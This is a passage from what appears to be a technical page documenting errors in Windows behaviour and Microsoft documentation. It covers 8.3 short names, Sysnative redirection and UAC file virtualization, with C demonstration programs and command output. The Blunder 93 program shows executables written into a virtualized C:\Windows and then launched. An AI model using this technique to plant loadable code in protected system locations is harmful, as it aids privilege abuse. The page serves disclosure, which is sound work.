    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CRLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CTLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\TPM]
    "OSManagedAuthLevel"=dword:00000005
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\BITS]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
    "CallLegacyWCMPolicies"=dword:00000000
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DriverSearching]
    "DriverUpdateWizardWuSearchEnabled"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\EnhancedStorageDevices]
    "TCGSecurityActivationDisabled"=dword:00000000
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Network Connections]
    "NC_PersonalFirewallConfig"=dword:00000000
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator]
    @=""
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers]
    "authenticodeenabled"=dword:00000000
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SettingSync]
    "EnableBackupForWin8Apps"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc\GroupPolicy]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WcmSvc\Local]
    "WCMPresent"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WorkplaceJoin]
    @=""
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WSDAPI]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WSDAPI\Discovery Proxies]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services]
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client]
    "fEnableUsbBlockDeviceBySetupClass"=dword:00000001
    "fEnableUsbNoAckIsochWriteToDevice"=dword:00000050
    "fEnableUsbSelectDeviceByInterface"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client\UsbBlockDeviceBySetupClasses]
    "1000"="{3376f4ce-ff8d-40a2-a80f-bb4359d1415c}"
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client\UsbSelectDeviceByInterfaces]
    "1000"="{6bdd1fc6-810f-11d0-bec7-08002be2092f}"
    
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Windows File Protection]
    "KnownDllList"="nlhtml.dll"

Blunder № 90

The MSKB article 142982 states:
Windows supports long file names up to 255 characters in length. Windows also generates an MS-DOS-compatible (short) file name in 8.3 format to allow MS-DOS-based or 16-bit Windows-based programs to access the files.
The MSKB article 896458 states:
The x64-based versions of Windows don't support 16-bit programs, 16-bit processes, or 16-bit components.
Microsoft but ships the installation media for 64-bit all editions of Windows 8 and later versions with superfluous 8.3 alias short file names in the system images!

Note: the installation media of Windows 7 have no 8.3 alias short file names in their system images – disabling 8.3 file name generation on the target drive before running the setup program is therefore sufficient to perform a clean installation!

Demonstration

Perform the following 3 simple steps to determine the (number of) short file and directory names on a current, preferable fresh installation of Windows 10 or Windows 11.
  1. Start the Command Processor Cmd.exe, then execute the following command lines:

    VER
    1>blunder.log (
    FOR /D /R "%SystemDrive%\" %? IN (*) DO @IF NOT "%~nx?" == "%~snx?" ECHO "%~dp?%~snx?"
    )
    FIND.EXE /C /V "" blunder.log
    1>blunder.txt (
    FOR /R "%SystemDrive%\" %? IN (*) DO @IF NOT "%~nx?" == "%~snx?" ECHO "%~dp?%~snx?"
    )
    FIND.EXE /C /V "" blunder.txt
    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Caveat: the command lines miss hidden directories and files as well as directories and files with short name equal to their long name!

    Caveat: unless run under the NT AUTHORITY\SYSTEM alias LocalSystem user account or with the SeBackupPrivilege alias SE_BACKUP_NAME privilege enabled, these command lines also miss subdirectories and files in all directories without List Directory access permission for the current user account!

    Microsoft Windows [Version 10.0.26100.1742]
    
    ---------- blunder.log: 16034
    ---------- blunder.txt: 55140
  2. Start the Command Processor Cmd.exe with administrative access rights, then repeat the previous step:

    Microsoft Windows [Version 10.0.26100.1742]
    
    ---------- blunder.log: 18206
    ---------- blunder.txt: 66172
  3. Finally execute the following command line:

    FSUTIL.EXE 8dot3name scan /l "%TMP%\blunder.log" /s "%SystemDrive%\\"
    Scanning registry...
    
    Total affected registry keys:                 222
    
    Scanning 8dot3 names...
    
    Total files and directories scanned:       148550
    Total 8dot3 names found:                    84138
    Total 8dot3 names stripped:                     0
    
    For details on the operations performed please see the log:
      "C:\Users\ADMINI~1\AppData\Local\Temp\blunder.log"
    Note: all (here: 222) enumerated registry keys (really: registry entries) are false positivesFSUtil.exe (really: its most obviously incompetent developer) considers file names like $WINDOWS.~BT and Clipchamp.Clipchamp_3.0.10220.0_neutral_~_yxz26nhyzhsrt just due to the ~ to be short!

Blunder № 91

The MSDN article File System Redirector states:
32-bit applications can access the native system directory by substituting %windir%\Sysnative for %windir%\System32. WOW64 recognizes Sysnative as a special alias used to indicate that the file system should not redirect the access. This mechanism is flexible and easy to use, therefore, it is the recommended mechanism to bypass file system redirection. Note that 64-bit applications cannot use the Sysnative alias as it is a virtual directory not a real one.

Falsification

Perform the following simple step to prove the highlighted statement of the documentation cited above wrong – at least when using the 32-bit FSUtil.exe console application to enumerate hardlinks of files residing in the native system directory.
  1. Start the Command Processor Cmd.exe with administrative access rights, then execute the following single command line:

    IF EXIST "%SystemRoot%\SysWoW64\FSUtil.exe" "%SystemRoot%\SysWoW64\FSUtil.exe" HARDLINK LIST "%SystemRoot%\Sysnative\FSUtil.exe"
    Error:  The parameter is incorrect.
    OUCH: the File System Utility has one job, but fails to interact with the File System Redirector!

Blunder № 92

This blunder complements and supplements Blunder № 91.

The documentation for the Win32 function FindFirstFileNameW() states:

Creates an enumeration of all the hard links to the specified file. The FindFirstFileNameW function returns a handle to the enumeration that can be used on subsequent calls to the FindNextFileNameW function.

[…]

If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with the FindClose function.

If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error information, call the GetLastError function.

OOPS: in the 64-bit environment, the value of INVALID_HANDLE_VALUE is but 0xFFFFFFFFFFFFFFFF!

Falsification

Perform the following 3 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef _WIN64
    #error Must be built as 32-bit console application!
    #endif
    
    #define BLUNDER L"\\Sysnative\\NTDLL.dll"
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_NOT_SUPPORTED;
    	DWORD	dwBlunder;
    	WCHAR	szBlunder[MAX_PATH];
    	BOOL	bBlunder;
    	HANDLE	hBlunder = GetCurrentProcess();
    
    	if (!IsWow64Process(hBlunder, &bBlunder))
    		dwError = GetLastError();
    	else
    		if (bBlunder)
    		{
    			dwBlunder = GetSystemWindowsDirectory(szBlunder,
    			                                      sizeof(szBlunder) / sizeof(*szBlunder));
    			if (dwBlunder == 0UL)
    				dwError = GetLastError();
    			else
    			{
    				memcpy(szBlunder + dwBlunder, BLUNDER, sizeof(BLUNDER));
    
    				dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
    
    				hBlunder = FindFirstFileNameW(szBlunder, 0UL, &dwBlunder, szBlunder);
    
    				if (hBlunder == INVALID_HANDLE_VALUE)
    					dwError = GetLastError();
    				else
    				{
    					do
    						dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
    					while (FindNextFileNameW(hBlunder, &dwBlunder, szBlunder));
    
    					dwError = GetLastError();
    
    					if (dwError == ERROR_HANDLE_EOF)
    						dwError = ERROR_SUCCESS;
    
    					if (!FindClose(hBlunder))
    						dwError = GetLastError();
    				}
    			}
    		}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. for the 32-bit execution environment:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87)
    Error message text: The parameter is incorrect.
    CertUtil: -error command completed successfully.
    OUCH: the Win32 function FindFirstFileNameW() fails to support the virtual directory name SysNative required on 64-bit systems to access the system directory from 32-bit applications!

Blunder № 93

The MSDN article New UAC Technologies for Windows Vista documents the File Virtualisation introduced as part of UAC as follows, without limitations or restrictions:
Virtualization is only enabled for: […]

File virtualization addresses the situation where an application relies on the ability to store a file, such as a configuration file, in a system location typically writeable only by administrators. Running programs as a standard user in this situation might result in program failures due to insufficient levels of access.

When an application writes to a system location only writeable by administrators, Windows then writes all subsequent file operations to a user-specific path under the Virtual Store directory, which is located at %LOCALAPPDATA%\VirtualStore. Later, when the application reads back this file, the computer will provide the one in the Virtual Store. Because the Windows security infrastructure processes the virtualization without the application’s assistance, the application believes it was able to successfully read and write directly to Program Files. The transparency of file virtualization enables applications to perceive that they are writing and reading from the protected resource, when in fact they are accessing the virtualized version.

In part 1 of their book Windows Internals, Mark Russinovich, David Solomon and Alex Ionescu state:
The file system locations that are virtualized for legacy processes are %ProgramFiles%, %ProgramData%, and %SystemRoot%, excluding some specific subdirectories. However, any file with an executable extension – including .exe, .bat, .scr, .vbs, and others – is excluded from virtualization. This means that programs that update themselves from a standard user account fail instead of creating private versions of their executables that aren’t visible to an administrator running a global updater.
CAVEAT: the Win32 functions CreateProcess*() and LoadLibrary*() which load (and execute) image files but don’t care for extensions – only the content of the file (really: the NTFS File Stream) matters to them!

Mark Russinovich repeats these wrong statements in his TechNet article Inside Windows Vista User Account Control!

The MSDN article File Attribute Constants documents FILE_ATTRIBUTE_VIRTUAL rather terse:

File attributes are metadata values stored by the file system on disk and are used by the system and are available to developers via various file I/O APIs.

[…]

Constant/value Description
FILE_ATTRIBUTE_VIRTUAL
65536 (0x10000)
This value is reserved for system use.
CAVEAT: FILE_ATTRIBUTE_VIRTUAL is no persistent attribute!

Falsification

Perform the following 5 simple steps to show the limitations and restrictions blunder and prove the highlighted statement from the book cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef _WIN64
    #error Must be built as 32-bit console application!
    #endif
    
    #define _CRT_SECURE_NO_WARNINGS
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	STARTUPINFO	si = {sizeof(si),
    			      (LPWSTR) NULL,
    			      (LPWSTR) NULL,
    			      (LPWSTR) NULL,
    			      0UL, 0UL, 0UL, 0UL,
    			      0UL, 0UL,
    			      0UL,
    			      STARTF_USESTDHANDLES,
    			      0U,
    			      0U,
    			      (LPBYTE) NULL,
    			      INVALID_HANDLE_VALUE,	// STDIN
    			      INVALID_HANDLE_VALUE,	// STDOUT
    			      INVALID_HANDLE_VALUE};	// STDERR
    
    const	LPCWSTR	szExtension[] = {L".acm", L".asa", L".asp", L".ax",  L".bat", L".chm", L".cmd", L".cnt", L".cnv", L".com", L".cpl",
    		                 L".crt", L".dll", L".drv", L".efi", L".exe", L".fon", L".hlp", L".hta", L".ime", L".inf", L".ins",
    		                 L".iso", L".isp", L".its", L".js",  L".jse", L".lnk", L".msc", L".msi", L".msp", L".mst", L".mui",
    		                 L".nls", L".ocx", L".pif", L".reg", L".scr", L".sct", L".shb", L".shs", L".sys", L".tlb", L".tmp",
    		                 L".tsp", L".ttf", L".url", L".vb",  L".vbe", L".vbs", L".wll", L".wsc", L".wsf", L".wsh", L".xll"};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION	pi;
    
    	DWORD	dwExtension = 0UL;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwModule;
    	WCHAR	szModule[MAX_PATH];
    	WCHAR	szBlunder[MAX_PATH];
    	DWORD	dwBlunder;
    	DWORD	dwVirtual;
    	WCHAR	szVirtual[MAX_PATH];
    	HANDLE	hVirtual;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwModule = GetModuleFileName((HMODULE) NULL,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    		if (dwModule == 0UL)
    			PrintConsole(hError,
    			             L"GetModuleFileName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBlunder = GetSystemWindowsDirectory(szBlunder,
    			                                      sizeof(szBlunder) / sizeof(*szBlunder));
    			if (dwBlunder == 0UL)
    				PrintConsole(hError,
    				             L"GetSystemWindowsDirectory() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #ifdef BLUNDER
    				wcscpy(szBlunder + dwBlunder, L":Blunder");
    #else
    				wcscpy(szBlunder + dwBlunder, L"\\Blunder");
    
    				if (!CreateDirectory(szBlunder,
    				                     (LPSECURITY_ATTRIBUTES) NULL))
    					PrintConsole(hError,
    					             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder);
    				else
    				{
    					dwVirtual = GetFileAttributes(szBlunder);
    
    					if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    						PrintConsole(hError,
    						             L"GetFileAttributes() returned error %lu for directory \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder);
    					else
    						if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    							PrintConsole(hError,
    							             L"Directory \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    							             szBlunder);
    
    					if (!RemoveDirectory(szBlunder))
    						PrintConsole(hError,
    						             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder);
    				}
    #endif // BLUNDER
    				do
    				{
    					wcscpy(szBlunder + dwBlunder + sizeof("Blunder"), szExtension[dwExtension]);
    
    					hVirtual = CreateFile(szBlunder,
    					                      FILE_WRITE_DATA,
    					                      FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    					                      (LPSECURITY_ATTRIBUTES) NULL,
    					                      CREATE_ALWAYS,
    					                      FILE_ATTRIBUTE_NORMAL,
    					                      (HANDLE) NULL);
    
    					if (hVirtual == INVALID_HANDLE_VALUE)
    						PrintConsole(hError,
    						             L"CreateFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder);
    					else
    					{
    						dwVirtual = GetFileAttributes(szBlunder);
    
    						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    							PrintConsole(hError,
    							             L"GetFileAttributes() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    								PrintConsole(hError,
    								             L"File \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    								             szBlunder);
    
    						dwVirtual = GetFinalPathNameByHandle(hVirtual,
    						                                     szVirtual,
    						                                     sizeof(szVirtual) / sizeof(*szVirtual),
    						                                     FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);
    						if (dwVirtual == 0UL)
    							PrintConsole(hError,
    							             L"GetFinalPathNameByHandle() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    							PrintConsole(hError,
    							             L"File \'%ls\' is virtualized as \'%ls\'\n",
    							             szBlunder, szVirtual + 4);
    
    						if (!WriteFile(hVirtual,
    						               L"\xFEFF",	// UTF-16LE byte order mark
    						               sizeof(L'\xFEFF'),
    						               &dwVirtual,
    						               (LPOVERLAPPED) NULL))
    							PrintConsole(hError,
    							             L"WriteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    							if (dwVirtual != sizeof(L'\xFEFF'))
    								PrintConsole(hError,
    								             L"WriteFile() wrote %lu of %lu bytes to file \'%ls\'\n",
    								             dwVirtual, sizeof(L'\xFEFF'), szBlunder);
    						if (!CloseHandle(hVirtual))
    							PrintConsole(hError,
    							             L"CloseHandle() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    
    						if (!CreateProcess(szBlunder,
    						                   (LPWSTR) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   TRUE,
    						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
    						                   L"\0",
    						                   (LPCWSTR) NULL,
    						                   &si,
    						                   &pi))
    							PrintConsole(hError,
    							             L"CreateProcess() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    						{
    							PrintConsole(hError,
    							             L"File \'%ls\' started as process %lu with primary thread %lu\n",
    							             szBlunder, pi.dwProcessId, pi.dwThreadId);
    
    							if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    								PrintConsole(hError,
    								             L"WaitForSingleObject() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hThread))
    								PrintConsole(hError,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    								PrintConsole(hError,
    								             L"WaitForSingleObject() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hProcess))
    								PrintConsole(hError,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						hVirtual = LoadLibrary(szBlunder);
    
    						if (hVirtual == NULL)
    							PrintConsole(hError,
    							             L"LoadLibrary() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    						{
    							PrintConsole(hError,
    							             L"File \'%ls\' loaded at address 0x%p\n",
    							             szBlunder, hVirtual);
    
    							if (!FreeLibrary(hVirtual))
    								PrintConsole(hError,
    								             L"FreeLibrary() returned error %lu for file \'%ls\'\n",
    								             dwError = GetLastError(), szBlunder);
    							else
    								PrintConsole(hError,
    								             L"File \'%ls\' unloaded from 0x%p\n",
    								             szBlunder, hVirtual);
    						}
    
    						if (!DeleteFile(szBlunder))
    							PrintConsole(hError,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    					}
    #ifndef BLUNDER
    					if (!CreateHardLink(szBlunder,
    					                    szModule,
    					                    (LPSECURITY_ATTRIBUTES) NULL))
    						PrintConsole(hError,
    						             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder);
    					else
    					{
    						dwVirtual = GetFileAttributes(szBlunder);
    
    						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    							PrintConsole(hError,
    							             L"GetFileAttributes() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    								PrintConsole(hError,
    								             L"Hardlink \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    								             szBlunder);
    
    						if (!CreateProcess(szBlunder,
    						                   (LPWSTR) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   TRUE,
    						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
    						                   L"\0",
    						                   (LPCWSTR) NULL,
    						                   &si,
    						                   &pi))
    							PrintConsole(hError,
    							             L"CreateProcess() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    						{
    							PrintConsole(hError,
    							             L"Hardlink \'%ls\' started as process %lu with primary thread %lu\n",
    							             szBlunder, pi.dwProcessId, pi.dwThreadId);
    
    							if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    								PrintConsole(hError,
    								             L"WaitForSingleObject() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hThread))
    								PrintConsole(hError,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    								PrintConsole(hError,
    								             L"WaitForSingleObject() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hProcess))
    								PrintConsole(hError,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						hVirtual = LoadLibrary(szBlunder);
    
    						if (hVirtual == NULL)
    							PrintConsole(hError,
    							             L"LoadLibrary() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    						else
    						{
    							PrintConsole(hError,
    							             L"Hardlink \'%ls\' loaded at address 0x%p\n",
    							             szBlunder, hVirtual);
    
    							if (!FreeLibrary(hVirtual))
    								PrintConsole(hError,
    								             L"FreeLibrary() returned error %lu for hardlink \'%ls\'\n",
    								             dwError = GetLastError(), szBlunder);
    							else
    								PrintConsole(hError,
    								             L"File \'%ls\' unloaded from 0x%p\n",
    								             szBlunder, hVirtual);
    						}
    
    						if (!DeleteFile(szBlunder))
    							PrintConsole(hError,
    							             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder);
    					}
    #endif // BLUNDER
    				}
    				while (++dwExtension < sizeof(szExtension) / sizeof(*szExtension));
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. for the 32-bit execution environment:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(193) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(281) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Directory 'C:\Windows\Blunder' has 'FILE_ATTRIBUTE_VIRTUAL'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.acm'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.acm'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.acm'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.acm'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.acm'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.asa'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.asa'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.asa'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.asa'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.asa'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.asp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.asp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.asp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.asp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.asp'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.ax'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ax'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ax'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ax'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ax'
    CreateFile() returned error 5 for file 'C:\Windows\Blunder.bat'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.bat'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.bat'
